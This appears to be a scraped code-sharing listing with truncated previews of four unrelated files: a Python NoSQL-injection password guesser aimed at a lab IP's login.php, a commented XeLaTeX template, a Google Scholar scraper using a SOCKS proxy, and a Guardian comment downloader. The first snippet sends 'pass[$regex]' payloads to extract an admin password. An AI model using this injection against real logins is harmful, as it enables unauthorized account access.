This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import requests | |
import string | |
ip = '10.10.241.19' | |
def try_password(password, username='admin'): | |
r = requests.post(f'http://{ip}/login.php', allow_redirects=True, data={'remember': 'on', 'user': username, 'pass[$regex]': password}) | |
if 'Invalid' in r.text: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
%!TEX TS-program = xelatex | |
\documentclass[12pt]{scrartcl} | |
% The declaration of the document class: | |
% The second line here, i.e. | |
% \documentclass[12pt]{scrartcl} | |
% is a standard LaTeX document class declaration: | |
% we say what kind of document we are making in curly brackets, | |
% and specify any options in square brackets. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import re | |
from bs4 import BeautifulSoup | |
max_results = 17000 | |
search_url = 'https://scholar.google.de/scholar?start=0&q=(%22social+media%22+AND+%22teaching%22)&hl=de&as_sdt=0,5&as_ylo=2017' | |
proxies = {'https': 'socks5://127.0.0.1:8080', 'http': 'socks5://127.0.0.1:8080'} | |
def test_proxy(proxies): |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import urllib2 | |
import re | |
import time | |
import sys | |
# This script will download all comments from a Guardian (theguardian.com) article into a single .html file | |
# Use 'File ID' to easily identify your file later (this could also be something like a Citavi identifier) | |
# Ingo Kleiber <ikleiber@googlemail.com> | |
print """\ |